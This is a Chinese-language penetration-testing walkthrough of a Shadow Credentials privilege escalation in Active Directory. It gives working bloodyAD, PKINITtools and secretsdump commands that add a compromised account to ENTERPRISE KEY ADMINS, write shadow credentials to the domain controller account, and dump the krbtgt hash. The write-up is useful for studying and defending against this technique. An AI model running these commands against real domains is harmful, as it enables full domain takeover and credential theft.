如果攻击者可以修改目标对象(用户或计算机帐户)msDS-KeyCredentialLink属性并以证书形式附加备用凭据,则攻击者可以修改该属性进而接管 AD 用户或计算机帐户。
在攻防项目中,有时候拿了高权限的域用户却因权限不够,没法直接导出krbtgt的hash,在这种场景下就可以利用Shadow Credentials进行提权
假设我们拿到了这个域账号
IT-manager@penson.org/ITPenson@123yyds
查看这个域账号属于ACCOUNT OPERATORS组,这个组的成员是就可以管理域用户和账户的
但是是没办法拿到域控权限的,不属于Adminstrators组,是无法导出krbtgt hash的
由此需要想办法提权到域控权限,因为ACCOUNT OPERATORS组可以管理域用户和账户,由此可以添加该用户到特殊权限组
利用bloodAD
bloodyAD.py --host 192.168.21.114 -d penson.org -u IT-manager -p ITPenson@123yyds add groupMember 'Administrator' IT-manager
本来想直接加到Administrator组里,发现没有权限,那么应该加到哪个组呢?
用bloodhound发现ENTERPRISE KEY ADMINS这个组可以AddKeyCredentialLink,AddKeyCredentialLink这个是什么意思呢?借用谷歌翻译
ENTERPRISE KEY ADMINS@PENSON.ORG 组的成员能够写入 ADCS.PENSON.ORG 上的“msds-KeyCredentialLink”属性。写入此属性允许攻击者在对象上创建“影子凭证”并使用 kerberos PKINIT 作为主体进行身份验证。如果攻击者可以修改目标对象(用户或计算机帐户)msDS-KeyCredentialLink属性并以证书形式附加备用凭据,则此技术允许攻击者接管 AD 用户或计算机帐户。
尝试添加到ENTERPRISE KEY ADMINS这个组
python3.8 bloodyAD.py --host 192.168.21.114 -d penson.org -u IT-manager -p ITPenson@123yyds add groupMember 'ENTERPRISE KEY ADMINS' IT-manager
为AD$添加影子凭据
python3.8 bloodyAD.py --host 192.168.21.114 -d penson.org -u IT-manager -p ITPenson@123yyds add shadowCredentials AD$
利用PKINITtools拿票据
python3.8 ../PKINITtools/gettgtpkinit.py -cert-pem QNEvQE57_cert.pem -key-pem QNEvQE57_priv.pem penson.org/AD$ QNEvQE57.ccache -dc-ip 192.168.21.114
获取AD$hash
python3.8 ../PKINITtools/getnthash.py penson.org/AD$ -key 3053f5d8109dc862de65741e58945abd584910abbef89cd50c9478a977d4c8aa -dc-ip 192.168.21.114
python3.8 secretsdump.py penson.org/ad\$@192.168.21.114 -just-dc-user PENSON/krbtgt -hashes :c0032e2567e4f12b7f8ba3e436db4177
这个时候可以发现成功提权了